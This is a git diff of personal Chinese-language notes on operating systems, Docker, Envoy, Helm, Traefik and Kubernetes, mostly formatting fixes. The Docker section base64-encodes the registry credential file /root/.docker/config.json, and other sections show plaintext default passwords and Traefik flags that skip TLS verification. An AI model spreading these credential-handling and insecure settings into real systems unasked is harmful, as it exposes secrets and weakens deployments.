传统操作系统: + 批处理操作系统--spooling技术(1961):输入井-主机-输出井。例如现在的打印机 分时操作系统-- 实时操作系统-- @@ -22,27 +35,28 @@ 分布式操作系统-- 嵌入式操作系统 - 批处理系统中采用的调度算法: -先来先服务(FCFS) 最短作业先(SJF) 最短剩余时间优先(SRTN)最高响应优先(HRRN) +先来先服务(FCFS) 最短作业先(SJF) 最短剩余时间优先(SRTN)最高响应优先(HRRN) 交互式系统调度算法: -时间片算法 虚拟轮转法 最高优先行算法 +时间片算法 虚拟轮转法 最高优先行算法 ### 进程切换 + 1. 切换全局页目录。 2. 切换内核栈和硬件上下文。 3. 上下文切换具体步: - - 例如进程A下CPU,B上CPU - 1. 保存进程A的上下文环境(程序计数器,程序状态,其它寄存器...) - 2. 用新状态和其它相关信息更新进程A的PCB - 3. 把进程A移至合适的队(就绪.堵塞..) - 4. 把进程B的状态设置为运行态 - 5. 从进程B的PCB中恢复上下文(..) + - 例如进程A下CPU,B上CPU + 1. 保存进程A的上下文环境(程序计数器,程序状态,其它寄存器...) + 2. 用新状态和其它相关信息更新进程A的PCB + 3. 把进程A移至合适的队(就绪.堵塞..) + 4. 把进程B的状态设置为运行态 + 5. 从进程B的PCB中恢复上下文(..) 4. 上下文切换开销: - 1. 直接开销 内核完成切换所用的CPU时间(保存和恢复寄存器,切换地址空间) - 2. 简接开销(高速缓存,缓冲区缓存和TLB失效) + 1. 直接开销 内核完成切换所用的CPU时间(保存和恢复寄存器,切换地址空间) + 2. 简接开销(高速缓存,缓冲区缓存和TLB失效) + +### 同步互斥 :PV 信号 管程 -### 同步互斥 :PV 信号 管程 IPC ### 内存--虚拟存储技术--页式存储管理方案--页面置换算法 @@ -50,31 +64,37 @@ IPC ### 寄存器--高速缓存--高速缓存CacheL2--高速缓存CacheL3--RAM--Disk ### IO: + - 硬件组成--控制方式--软件组成--相关技术--性能问题 - IO性能: + 1. 使CPU利用率尽可能不被I/O降低 2. 使CPU尽可能摆脱I/O - 方案: - 1. 减少或缓解速度差距--缓冲技术 - 2. 使CPU不等待I/O--异步I/O - 3. 让CPU摆脱I/O操作--DMA,通道 + 方案: + 1. 减少或缓解速度差距--缓冲技术 + 2. 使CPU不等待I/O--异步I/O + 3. 让CPU摆脱I/O操作--DMA,通道 ### 死锁 + 1. 为什么会出现死锁: - 资源数量有限,锁 和 信号量错误使用。 + 资源数量有限,锁 和 信号量错误使用。 2. 产生死锁的必要条件: - 1. 互斥使用(资源独占) - 2. 占用且等待(请求和保持,部分分配) - 3. 不可抢占(不可剥夺) - 4. 循环等待 + + 1. 互斥使用(资源独占) + 2. 占用且等待(请求和保持,部分分配) + 3. 不可抢占(不可剥夺) + 4. 循环等待 3. 解决死锁的办法: - 1. 不让死锁发生 - - 死锁预防(静态策略) - - 死锁避免(动态策略) - 2. 让死锁发生 - 死锁检测与解除 + + 1. 不让死锁发生 + - 死锁预防(静态策略) + - 死锁避免(动态策略) + 2. 让死锁发生 + 死锁检测与解除 ### 银行家算法 +- diff --git a/container/Docker/docker-1.md b/container/Docker/docker-1.md index 943d28f..278fb64 100644 --- a/container/Docker/docker-1.md +++ b/container/Docker/docker-1.md @@ -1,19 +1,31 @@ +--- +created_date: 2020-12-04 +--- + +[TOC] + # docker + - https://docs.docker.com -- https://www.infoq.cn/article/docker-kernel-knowledge-namespace-resource-isolation namespace -- https://www.infoq.cn/article/docker-kernel-knowledge-cgroups-resource-isolation cgroup +- https://www.infoq.cn/article/docker-kernel-knowledge-namespace-resource-isolation namespace +- https://www.infoq.cn/article/docker-kernel-knowledge-cgroups-resource-isolation cgroup ## 原理 + ### Docker底层使用的Linux技术 + - https://www.jianshu.com/p/ab423c3db59d + 1. 容器 = cgroup + namespace + rootfs + 容器引擎 2. 每个容器都是一个进程,这种进程拥有自己的特殊的子namespace、cgroup设置和rootfs挂载 - - cgroup: 资源控制 https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html?highlight=cgroups - - namespace: 访问隔离 - - rootfs:文件系统隔离。镜像的本质就是一个rootfs文件 - - 容器引擎:生命周期控制 + +- cgroup: 资源控制 https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html?highlight=cgroups +- namespace: 访问隔离 +- rootfs:文件系统隔离。镜像的本质就是一个rootfs文件 +- 容器引擎:生命周期控制 ### 组件 + 1. docker:命令行管理工具 2. dockerd:Docker守护进程,负责与docker client交互; @@ -25,10 +37,11 @@ 5. runC:一个命令行工具,根据OCI标准来创建和运行容器。 ### docker run创建一个容器时的大致流程 + 1. docker工具向dockerd守护进程发送创建容器请求; 2. dockerd收到请求后再向containerd 请求创建一个容器; 3. containerd收到请求后并不会直接创建容器,而让containerd-shim 创建容器; -4. containerd-shim又调用runC创建容器(准备容器所需的namespace和cgroups就退出了),containerd-shim 就作为了该容器进程的父进程,负责收集容器状态并上报给containerd。 \ No newline at end of file +4. containerd-shim又调用runC创建容器(准备容器所需的namespace和cgroups就退出了),containerd-shim 就作为了该容器进程的父进程,负责收集容器状态并上报给containerd。 diff --git a/container/Docker/docker-2.md b/container/Docker/docker-2.md index c4dd58a..a4db21b 100644 --- a/container/Docker/docker-2.md +++ b/container/Docker/docker-2.md @@ -1,11 +1,21 @@ +--- +created_date: 2020-12-04 +--- + +[TOC] + # docker + https://docs.docker.com ## 安装docker + - 官方步骤: -https://docs.docker.com/install/linux/docker-ce/ubuntu/ -说明:2017年的3月1号之后,新版本的免费版本为docker-ce + https://docs.docker.com/install/linux/docker-ce/ubuntu/\ + 说明:2017年的3月1号之后,新版本的免费版本为docker-ce + ### centos安装docker + ```bash # yum 安装docker-ce # 1.安装依赖 @@ -29,7 +39,9 @@ systemctl start docker # 使docker跟随系统一起启动 systemctl enable docker.service ``` + ### ubuntu安装docker + ```bash # 删除旧的版本 apt-get remove docker docker-engine docker.io containerd runc @@ -48,14 +60,19 @@ echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker. # add-apt-repository "deb [arch=amd64] https://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable" # 安装docker引擎 -apt-get update -apt-get install docker-ce docker-ce-cli containerd.io docker-compose-plugin -y +apt-get update -y +# 安装时禁止任何弹窗 +DEBIAN_FRONTEND=noninteractive UCF_FORCE_CONFFOLD=1 apt-get install -y \ +-o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" \ +docker-ce docker-ce-cli containerd.io docker-compose-plugin # 启动docker服务 systemctl enable docker systemctl start docker ``` + ## 安装docker-compose + ```bash # 1. github上查看最新的docker-compose版本,获取下载链接 # https://github.com/docker/compose/releases/ @@ -67,7 +84,9 @@ chmod +x /usr/local/bin/docker-compose ``` ## 常用指令 + ### Docker + ```bash # 1. Build 构建镜像 docker build --build-arg PROJECT=pre --no-cache --network=host -f Dockerfile -t ${url}:${image_tag} . @@ -116,16 +135,21 @@ docker load -i ${image_name} ``` ### Dockerfile + 1. 从编译阶段的中拷贝编译结果到当前镜像中 + ```dockerfile COPY --from=builder /build/server / ``` + 2. 直接从一个已经存在的镜像中拷贝 + ```dockerfile COPY --from=quay.io/coreos/etcd:v3.3.9 /usr/local/bin/etcd /usr/local/bin/ ``` - 基本语法 + ```dockerfile FROM 基础镜像 ARG 输入参数健=输入参数值 @@ -143,6 +167,7 @@ CMD 容器入口指令,可以被docker启动指令覆盖掉 ``` ### docker-compose + ```bash docker-compose up -d @@ -152,26 +177,33 @@ docker-compose down -v ``` ## docker配置更改 + ### 登陆docker仓库Harbor + 1. 通过密钥-手动创建secret - - `cat /root/.docker/config.json | base64 -w` + +- `cat /root/.docker/config.json | base64 -w` 2. 通过密钥-自动创建secret + ```bash kubectl create secret docker-registry 密钥的名字 --docker-server=DOCKER_REGISTRY_SERVER --docker-username=DOCKER_USER --docker-password=DOCKER_PASSWORD --docker-email=DOCKER_EMAIL ``` 3. 通过docker登陆生成认证文件,然后认证文件考到kubelet认证下 + ```bash docker login DOCKER_REGISTRY_SERVER cp ~/.docker/config.json /var/lib/kubelet/ ``` ### 更改docker存储目录与镜像仓库地址 + - 参考文档 https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-configuration-file -- vi /etc/docker/daemon.json +- vi /etc/docker/daemon.json + ```conf { # 1. 更改镜像仓库地址 @@ -194,10 +226,10 @@ cp ~/.docker/config.json /var/lib/kubelet/ ``` - 更改docker存储目录 方式三 - - 更改service里的启动方式 ExecStart=/usr/bin/dockerd --graph /home/docker - + - 更改service里的启动方式 ExecStart=/usr/bin/dockerd --graph /home/docker ## 配置docker可以使用宿主机的GPU + ```sh # 添加 NVIDIA Container Toolkit distribution=$(. /etc/os-release;echo $ID$VERSION_ID) @@ -221,11 +253,13 @@ docker pull nvidia/cuda:12.3.0-base-ubuntu20.04 docker run --rm --gpus=all nvidia/cuda:12.3.0-base-ubuntu20.04 nvidia-smi ``` -## 其它 +## 其它 + 1. 使普通用户也可以操作docker + ```bash # 将普通用户添加进docker用户组 #sudo groupadd docker # 添加docker用户组 ,如果安装了docker,默认会存在,只需要执行下面的即可 sudo gpasswd -a ${username} docker #将 登陆用户加入到docker用户组中 newgrp docker # 更新用户组 -``` \ No newline at end of file +``` diff --git a/container/Envoy/envoy.md b/container/Envoy/envoy.md index 6c8b9a7..ba119ac 100644 --- a/container/Envoy/envoy.md +++ b/container/Envoy/envoy.md @@ -1,25 +1,37 @@ +--- +created_date: 2021-01-12 +--- + +[TOC] + - 参考 - 1. https://github.com/envoyproxy/envoy - 2. https://www.envoyproxy.io/docs/envoy/latest/about_docs + 1. https://github.com/envoyproxy/envoy + 2. https://www.envoyproxy.io/docs/envoy/latest/about_docs ## 概念 + - 设计理念:对应用程序而言,网络应该是透明的。当网络或应用程序出现故障时,应当能够很容易确定问题的根源。 ### 四个组件 + 监听器(Listener):监听器定义了 Envoy 如何处理入站请求,目前 Envoy 仅支持基于 TCP 的监听器。一旦建立连接之后,就会将该请求传递给一组过滤器(filter)进行处理。 过滤器(Filter):过滤器是处理入站和出站流量的链式结构的一部分。在过滤器链上可以集成很多特定功能的过滤器,例如,通过集成 GZip 过滤器可以在数据发送到客户端之前压缩数据。 路由(Router):路由用来将流量转发到具体的目标实例,目标实例在 Envoy 中被定义为集群。 集群(Cluster):集群定义了流量的目标端点,同时还包括一些其他可选配置,如负载均衡策略等。 + ## 基本使用 + 1. debug -docker run -d --name envoy -p 10000:10000 -p 9901:9901 envoyproxy/envoy-debug:v1.16-latest -docker run -d --name envoy -p 10000:10000 -p 9901:9901 -v /tmp/envoy.yaml:/etc/envoy/envoy.yaml envoyproxy/envoy-debug:v1.16-latest -docker run -d --name envoy -p 10000:10000 -p 9901:9901 -v /tmp/envoy.yaml:/etc/envoy/envoy.yaml envoyproxy/envoy-alpine:v1.16-latest sh -c -- "envoy -c /etc/envoy/envoy.yaml" + docker run -d --name envoy -p 10000:10000 -p 9901:9901 envoyproxy/envoy-debug:v1.16-latest + docker run -d --name envoy -p 10000:10000 -p 9901:9901 -v /tmp/envoy.yaml:/etc/envoy/envoy.yaml envoyproxy/envoy-debug:v1.16-latest + docker run -d --name envoy -p 10000:10000 -p 9901:9901 -v /tmp/envoy.yaml:/etc/envoy/envoy.yaml envoyproxy/envoy-alpine:v1.16-latest sh -c -- "envoy -c /etc/envoy/envoy.yaml" ## 配置 + - 灰度发布,流量分割 https://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_conn_man/traffic_splitting.html?highlight=runtime_fraction vim envoy.yaml + ```yaml admin: access_log_path: /tmp/admin_access.log @@ -104,22 +116,28 @@ static_resources: port_value: 80 ``` -1. host_rewrite:更改 HTTP 请求的入站 Host 头信息 +1. host_rewrite:更改 HTTP 请求的入站 Host 头信息 ## 热重启包装器-Python + - 脚本 https://github.com/envoyproxy/envoy/blob/release/v1.16/restarter/hot-restarter.py + - 使用方式 https://www.envoyproxy.io/docs/envoy/latest/operations/hot_restarter#operations-hot-restarter + - 优雅关闭 https://www.envoyproxy.io/docs/envoy/latest/intro/arch_overview/operations/draining - python /hot-restarter-1.16.py /start_envoy.sh - 信号 + 1. SIGTERM:将干净地终止所有子进程并退出。 2. SIGHUP:将重新调用作为第一个参数传递给热重启程序的脚本,来进行热重启。 3. SIGCHLD:如果任何子进程意外关闭,那么重启脚本将关闭所有内容并退出以避免处于意外状态。随后,控制进程管理器应该重新启动重启脚本以再次启动Envoy。 4. SIGUSR1:将作为重新打开所有访问日志的信号,转发给Envoy。可用于原子移动以及重新打开日志轮转 + ### 生成镜像 + ```Dockerfile FROM envoyproxy/envoy-alpine:v1.16-latest as envoy @@ -127,19 +145,23 @@ COPY hot-restarter-1.16.py start_envoy.sh / RUN chmod +x /start_envoy.sh && echo 'kill -HUP 1' > /restart.sh && apk update python2 && apk add python2 --no-cache ENTRYPOINT [ "python2", "/hot-restarter-1.16.py", "/start_envoy.sh" ] ``` + ### 相关参数 + 1. --drain-time-s Defaults to 600 seconds (10 minutes) -设置排空连接的时间 + 设置排空连接的时间 2. --parent-shutdown-time-s Defaults to 900 seconds (15 minutes). -设置热重启时关闭parent process的等待时间 + 设置热重启时关闭parent process的等待时间 ## 配置检查工具 -1. 安装bazel来编译检查工具 -https://docs.bazel.build/versions/3.7.0/getting-started.html + +1. 安装bazel来编译检查工具\ + https://docs.bazel.build/versions/3.7.0/getting-started.html 2. 编译生成检查工具 + ```bash bazel build //test/tools/config_load_check:config_load_check_tool bazel-bin/test/tools/config_load_check/config_load_check_tool ${PATH} -``` \ No newline at end of file +``` diff --git a/container/Images/app/blockscout/README.md b/container/Images/app/blockscout/README.md index 8ed18a0..1e15555 100644 --- a/container/Images/app/blockscout/README.md +++ b/container/Images/app/blockscout/README.md @@ -1,15 +1,22 @@ +--- +created_date: 2022-01-06 +--- + +[TOC] + # 以太坊区块链游览器 Blockscout - 官方链接 - - https://github.com/blockscout/blockscout - - https://docs.blockscout.com/for-developers/information-and-settings/requirements + - https://github.com/blockscout/blockscout + - https://docs.blockscout.com/for-developers/information-and-settings/requirements - 第三方参考 - - https://www.jianshu.com/p/40bbc588058f + - https://www.jianshu.com/p/40bbc588058f - 相关链接 - - https://github.com/syscoin/blockscout/blob/master/Dockerfile - - https://github.com/asdf-vm/asdf-elixir + - https://github.com/syscoin/blockscout/blob/master/Dockerfile + - https://github.com/asdf-vm/asdf-elixir ## 构建 + ```bash # 方式一 构建指定的commit分支 docker build --build-arg blockscout_commit=v4.1.0-beta --no-cache --network=host -f Dockerfile -t garysdevil/blockscout:v4.1.0-beta . @@ -18,43 +25,50 @@ docker build --no-cache --network=host -f Dockerfile -t garysdevil/blockscout:la ``` ## 部署 + - 部署postgres - ```bash - # https://hub.docker.com/_/postgres?tab=description - docker pull postgres:13 - # docker volume create postgres-volumn - # -v postgres-volumn:/var/lib/postgresql/data - docker run -d --name postgres -p 127.0.0.1:5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13 - # docker exec -it postgres /bin/bash - # psql -h 127.0.0.1 -U postgres -W - ``` + ```bash + # https://hub.docker.com/_/postgres?tab=description + docker pull postgres:13 + + # docker volume create postgres-volumn + # -v postgres-volumn:/var/lib/postgresql/data + docker run -d --name postgres -p 127.0.0.1:5432:5432 -e POSTGRES_PASSWORD=postgres postgres:13 + # docker exec -it postgres /bin/bash + # psql -h 127.0.0.1 -U postgres -W + ``` - 配置blockscout的环境变量 - - vi blockscout.env - ```conf - DATABASE_URL=postgresql://postgres:postgres@localhost:5432/blockscout - DB_HOST=localhost - DB_PASSWORD=postgres - DB_PORT=5432 - DB_USERNAME=postgres - ETHEREUM_JSONRPC_VARIANT=geth - ETHEREUM_JSONRPC_HTTP_URL=http://localhost:8545 - ETHEREUM_JSONRPC_WS_URL=ws://localhost:8544 - SUBNETWORK=PRIVATE - PORT=4000 - ``` + + - vi blockscout.env + + ```conf + DATABASE_URL=postgresql://postgres:postgres@localhost:5432/blockscout + DB_HOST=localhost + DB_PASSWORD=postgres + DB_PORT=5432 + DB_USERNAME=postgres + ETHEREUM_JSONRPC_VARIANT=geth + ETHEREUM_JSONRPC_HTTP_URL=http://localhost:8545 + ETHEREUM_JSONRPC_WS_URL=ws://localhost:8544 + SUBNETWORK=PRIVATE + PORT=4000 + ``` - 部署blockscout - ```bash - docker pull garysdevil/blockscout:latest + ```bash + + docker pull garysdevil/blockscout:latest + + # 初始化数据库 + docker run --rm --network=host --env-file blockscout.env garysdevil/blockscout:latest mix do ecto.drop, ecto.create, ecto.migrate + # 启动服务 + docker run -d --network=host --env-file blockscout.env --name blockscout garysdevil/blockscout:latest + ``` - # 初始化数据库 - docker run --rm --network=host --env-file blockscout.env garysdevil/blockscout:latest mix do ecto.drop, ecto.create, ecto.migrate - # 启动服务 - docker run -d --network=host --env-file blockscout.env --name blockscout garysdevil/blockscout:latest - ``` - 访问方式 - - http://127.0.0.1:4000 - - https://127.0.0.1:4001 \ No newline at end of file + + - http://127.0.0.1:4000 + - https://127.0.0.1:4001 diff --git a/container/Images/dokcer-images.md b/container/Images/dokcer-images.md index e805472..fec3706 100644 --- a/container/Images/dokcer-images.md +++ b/container/Images/dokcer-images.md @@ -1,19 +1,29 @@ +--- +created_date: 2023-07-13 +--- + +[TOC] + # 镜像 + - Docker镜像官网(Docker Hub): https://hub.docker.com - 阿里云容器Hub:https://dev.aliyun.com - Google镜像(gcr.io):https://console.cloud.google.com/gcr/images/google-containers/GLOBAL -(需要科学上网,主要为Kubernetes相关镜像) + (需要科学上网,主要为Kubernetes相关镜像) ## 博客镜像 -1. wordpress -https://hub.docker.com/_/wordpress/ -docker run --name wordpress --network host -e WORDPRESS_DB_HOST=127.0.0.1:3306 -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=root -e WORDPRESS_DB_NAME=wordpress -d wordpress +1. wordpress + https://hub.docker.com/\_/wordpress/ + docker run --name wordpress --network host -e WORDPRESS_DB_HOST=127.0.0.1:3306 -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=root -e WORDPRESS_DB_NAME=wordpress -d wordpress ## 操作系统基础镜像 + ### busybox + - https://www.busybox.net/ -- https://hub.docker.com/_/busybox/ + +- https://hub.docker.com/\_/busybox/ - 一个超级简化版嵌入式Linux系统 @@ -24,19 +34,23 @@ CMD ["/my-static-binary"] ``` ### alpine:latest 5.58m + - https://alpinelinux.org/ 1. Alpine Linux Docker 镜像基于 Alpine Linux 操作系统,后者是一个面向安全的轻型 Linux 发行版。 2. Alpine Linux 采用了 musl libc 和 busybox 以减小系统的体积和运行时资源消耗。在保持瘦身的同时,Alpine Linux 提供了自己的包管理工具 apk。 + ```Dockerfile FROM alpine:3.12 ``` ### CentOS + - RedHat的社区版操作系统 - https://www.centos.org/ -- https://hub.docker.com/_/centos/ + +- https://hub.docker.com/\_/centos/ ```Dockerfile FROM centos:7 @@ -50,7 +64,7 @@ docker run -d --name centos7 centos:7 sleep 6000 ### ubuntu - http://www.ubuntu.com/ -- https://hub.docker.com/_/ubuntu/ +- https://hub.docker.com/\_/ubuntu/ ```Dockerfile FROM ubuntu:18.04 @@ -84,13 +98,15 @@ docker run -d --name bitcoinops -p 4000:4000 -v ${repath}/bitcoinops.github.io:/ ``` ## 其它 + - 包含GUI的Ubuntu镜像 https://hub.docker.com/r/dorowu/ubuntu-desktop-lxde-vnc/ - - `` docker run -d --network=host -v /dev/shm:/dev/shm dorowu/ubuntu-desktop-lxde-vnc `` -- 包含GUI的mac镜像 sickcodes/docker-osx:big-sur + - `docker run -d --network=host -v /dev/shm:/dev/shm dorowu/ubuntu-desktop-lxde-vnc` +- 包含GUI的mac镜像 sickcodes/docker-osx:big-sur ### Chrome + ```bash docker run --name chrome -d \ --restart always \ @@ -102,6 +118,7 @@ docker run --name chrome -d \ -u root \ kasmweb/chrome:1.16.0 ``` + - 网页端 https://${IP}:16901 - - 用户名为 kasm_user - - 密码为 garysdevil \ No newline at end of file + - 用户名为 kasm_user + - 密码为 garysdevil diff --git a/container/Istio/istio.md b/container/Istio/istio.md index e69de29..6f24562 100644 --- a/container/Istio/istio.md +++ b/container/Istio/istio.md @@ -0,0 +1,5 @@ +--- +created_date: 2021-03-12 +--- + +[TOC] diff --git a/container/Kubernetes/k8s-ecosystem/helm.md b/container/Kubernetes/k8s-ecosystem/helm.md index 445f3c9..9c87b32 100644 --- a/container/Kubernetes/k8s-ecosystem/helm.md +++ b/container/Kubernetes/k8s-ecosystem/helm.md @@ -1,72 +1,91 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # Helm v1.2 + - 构成 -Helm Chart Repository -Helm Client -Helm Server(Tiller) -Kubernete API Server + Helm Chart Repository + Helm Client + Helm Server(Tiller) + Kubernete API Server # Helm v1.3 + - https://github.com/helm/helm - 定义: Kubernetes 的包管理器 -管理k8s应用的yaml资源文件 -管理k8s应用的yaml资源文件间的依赖关系 + 管理k8s应用的yaml资源文件 + 管理k8s应用的yaml资源文件间的依赖关系 + ## 构成 + Helm Chart Repository Helm Client Kubernete API Server ## 使用 + 0. 下载 -https://github.com/helm/helm/releases + https://github.com/helm/helm/releases ## 指令 + #### 远程Chart仓库相关命令 -1. 添加一个远程仓库 -helm repo add ${REPO_NAME} ${REPO_URL} -例:helm repo add iad https://chartrepo.i.garys.top + +1. 添加一个远程仓库 + helm repo add ${REPO_NAME} ${REPO_URL} + 例:helm repo add iad https://chartrepo.i.garys.top 2. 列出当前已有的远程仓库 -helm repo list + helm repo list 3. 刷新远程仓库中的Chart -helm repo update + helm repo update 4. 移除远程仓库 -helm repo remove iad + helm repo remove iad 5. 搜索远程仓库中的Chart -helm search repo ${REPO_NAME} -例:helm search repo iad + helm search repo ${REPO_NAME} + 例:helm search repo iad 6. 根据关键字搜索远程仓库中的Chart -helm search repo ${REPO_NAME}/${KEYWORD} -例:helm search repo iad/rhine2 + helm search repo ${REPO_NAME}/${KEYWORD} + 例:helm search repo iad/rhine2 + #### 查看Chart信息相关命令(通常在部署Chart前时使用) + 1. 查看Chart的Chart.yaml文件信息 -helm show chart ${REPO_NAME}/${CHART_NAME} -例:helm show chart iad/rhine2asset + helm show chart ${REPO_NAME}/${CHART_NAME} + 例:helm show chart iad/rhine2asset 2. 查看Chart有哪些变量可以被配置 -helm show values ${REPO}/${CHART} -例:helm show values iad/rhine2asset + helm show values ${REPO}/${CHART} + 例:helm show values iad/rhine2asset 3. 查看Chart的README文件 -helm show readme ${REPO}/${CHART} -例:helm show readme iad/rhine2asset + helm show readme ${REPO}/${CHART} + 例:helm show readme iad/rhine2asset + #### 部署Chart相关命令 + 1. 部署一个应用,使用默认参数值 -helm install -n ${RELEASE_NAME} ${CHART_NAME} + helm install -n ${RELEASE_NAME} ${CHART_NAME} 2. 部署一个应用,使用自定义参数值,并添加描述 -helm install -n ${RELEASE_NAME} ${CHART_NAME} --set key=val --description “str” + helm install -n ${RELEASE_NAME} ${CHART_NAME} --set key=val --description “str” 3. 原子部署一个应用,在指定的时间内未成功部署则自动回滚 -helm install -n ${RELEASE_NAME} ${CHART_NAME} --set key=val --atomic --wait --timout 10s --description “str” + helm install -n ${RELEASE_NAME} ${CHART_NAME} --set key=val --atomic --wait --timout 10s --description “str” 4. 升级一个应用,除了新设置的参数值外,其余参数值复用上一个Release的,若在指定时间内未成功升级,则自动回滚 -helm upgrade -n ${NAMESPACE} ${RELEASE_NAME} ${CHART_NAME} --set key=val --reuse-values --atomic --wait --timout 10s --description “str” + helm upgrade -n ${NAMESPACE} ${RELEASE_NAME} ${CHART_NAME} --set key=val --reuse-values --atomic --wait --timout 10s --description “str” 5. 回滚Release至指定版本 -helm rollback -n ${NAMESPACE} ${RELEASE_NAME} ${REVISION_NUM} + helm rollback -n ${NAMESPACE} ${RELEASE_NAME} ${REVISION_NUM} 6. 卸载Release -helm uninstall -n ${NAMESPACE} ${RELEASE_NAME} + helm uninstall -n ${NAMESPACE} ${RELEASE_NAME} --dry-run 只渲染不部署 ---debug +--debug + #### 查看Release信息相关命令(通常在部署Chart后运行时使用) + 1. 查看Release启动时,被设置的参数值 -helm get values -n ${NAMESPACE} ${RELEASE_NAME} -例:helm get values –n rhine2-helm rhine2 + helm get values -n ${NAMESPACE} ${RELEASE_NAME} + 例:helm get values –n rhine2-helm rhine2 2. 查看Release所有参数值 -helm get values -n ${NAMESPACE} ${RELEASE_NAME} --all -例:helm get values –n rhine2-helm rhine2 --all + helm get values -n ${NAMESPACE} ${RELEASE_NAME} --all + 例:helm get values –n rhine2-helm rhine2 --all diff --git a/container/Kubernetes/k8s-ecosystem/k8s-jenkins.md b/container/Kubernetes/k8s-ecosystem/k8s-jenkins.md index bb03067..22197b0 100644 --- a/container/Kubernetes/k8s-ecosystem/k8s-jenkins.md +++ b/container/Kubernetes/k8s-ecosystem/k8s-jenkins.md @@ -1,4 +1,11 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + 1. jenkins集成k8s + ``` 安装jenkins的kubernetes cli插件 @@ -29,4 +36,4 @@ contextName: 'k8s-qa']) serverUrl为kube-api的地址 -``` \ No newline at end of file +``` diff --git a/container/Kubernetes/k8s-ecosystem/operator.md b/container/Kubernetes/k8s-ecosystem/operator.md index 8b0a575..8d0fe53 100644 --- a/container/Kubernetes/k8s-ecosystem/operator.md +++ b/container/Kubernetes/k8s-ecosystem/operator.md @@ -1,17 +1,24 @@ -# -- 参考文档 -https://blog.51cto.com/xjsunjie/2422877?source=dra +--- +created_date: 2020-11-16 +--- +[TOC] +# + +- 参考文档\ + https://blog.51cto.com/xjsunjie/2422877?source=dra - Operator 基于 CRD,并通过控制器来保证应用处于预期状态。 -1. +1. + operator跟docker是相似的,而其主要的交付对象从单个的应用实例,扩展到了多实例、分布式的系统上。以往部署一个分布式系统需要启动多个容器,然后进行复杂的配置,而现在只要创建一个CRD。operator将自动进行分布式系统中需要的各个资源的创建和部署。从这个角度上来说,operator的目标是实现分布式系统的标准化交付。 -2. +2. + 如果说docker是奠定的单实例的标准化交付,那么Helm则是集群化多实例、多资源的标准化交付。 3. 编排角度 -Helm跟operator有非常多的共性,很难对两者的作用进行区分。Helm也可以完成分布式系统的部署。那么operator跟Helm又有什么样的区别呢?Helm的侧重点在于多种多个的资源管理,而对生命周期的管理主要包括创建更新和删除。Helm通过命令驱动整个的生命周期。 -而operator对于资源的管理则不仅是创建和交付。由于其可以通过watch的方式获取相关资源的变化事件,因此可以实现高可用、可扩展、故障恢复等运维操作。因此operator对于生命周期的管理不仅包括创建,故障恢复,高可用,升级,扩容缩容,异常处理,以及最终的清理等等。 \ No newline at end of file + Helm跟operator有非常多的共性,很难对两者的作用进行区分。Helm也可以完成分布式系统的部署。那么operator跟Helm又有什么样的区别呢?Helm的侧重点在于多种多个的资源管理,而对生命周期的管理主要包括创建更新和删除。Helm通过命令驱动整个的生命周期。 + 而operator对于资源的管理则不仅是创建和交付。由于其可以通过watch的方式获取相关资源的变化事件,因此可以实现高可用、可扩展、故障恢复等运维操作。因此operator对于生命周期的管理不仅包括创建,故障恢复,高可用,升级,扩容缩容,异常处理,以及最终的清理等等。 diff --git a/container/Kubernetes/k8s-ecosystem/traefik.md b/container/Kubernetes/k8s-ecosystem/traefik.md index 58baae6..01d416e 100644 --- a/container/Kubernetes/k8s-ecosystem/traefik.md +++ b/container/Kubernetes/k8s-ecosystem/traefik.md @@ -1,8 +1,16 @@ - ## 安装 - 1. 在k8s集群内通过yaml安装traefik v2.3 - https://doc.traefik.io/traefik/user-guides/crd-acme/ +--- +created_date: 2020-11-16 +--- + +[TOC] + +## 安装 + +1. 在k8s集群内通过yaml安装traefik v2.3 + https://doc.traefik.io/traefik/user-guides/crd-acme/ ## 配置 + ```yaml apiVersion: traefik.containo.us/v1alpha1 kind: IngressRoute @@ -31,20 +39,22 @@ spec: forceSlash: false ``` - ## 需求与解决方案 +## 需求与解决方案 - 1. http 通过traefik连接 k8s dashboard 需要设置的参数 - ```yaml - spec: - containers: - - args: - - --entrypoints.web.forwardedheaders.insecure=true - - --insecureSkipVerify=true # 跳过https验证 - ``` +1. http 通过traefik连接 k8s dashboard 需要设置的参数 + +```yaml + spec: + containers: + - args: + - --entrypoints.web.forwardedheaders.insecure=true + - --insecureSkipVerify=true # 跳过https验证 +``` 2. 通过设置sticky session保持每次会话只访问一个Pod ingressroute.yaml + ```yaml - name: AAA port: 80 @@ -53,9 +63,10 @@ ingressroute.yaml name: lvl1 ``` -curl -H "HOST:qa1-api.hub.garys.top" ${IP1}:30080/util/s -v +curl -H "HOST:qa1-api.hub.garys.top" ${IP1}:30080/util/s -v + ```log traefik返回会多出这条数据 Set-Cookie: lvl1=http://${IP2}:8080; Path=/ ``` -curl -H "HOST:qa1-api.hub.garys.top" -b "lvl1=http://${IP2}:8080" ${IP1}:30080/util/s -v +curl -H "HOST:qa1-api.hub.garys.top" -b "lvl1=http://${IP2}:8080" ${IP1}:30080/util/s -v diff --git a/container/Kubernetes/k8s-functions/configmap.md b/container/Kubernetes/k8s-functions/configmap.md index 83654fa..ec26204 100644 --- a/container/Kubernetes/k8s-functions/configmap.md +++ b/container/Kubernetes/k8s-functions/configmap.md @@ -1,38 +1,55 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### ConfigMap + - 基于v1.18版本 -- 参考文档 -https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/ +- 参考文档 + https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/ #### 概览 + 1. 应用打包为容器镜像后,可以通过环境变量或者外挂文件的方式在创建容器时进行配置注入。在大规模容器集群的环境中,对多个容器进行不同的配置将变得非常复杂。因此从Kubernetes v1.2开始提供了一种统一的应用配置管理方案 ConfigMap。 2. ConfigMap功能:允许配置文件与镜像文件分离,以使容器化的应用程序具有可移植性。 #### 创建 ConfigMap + - 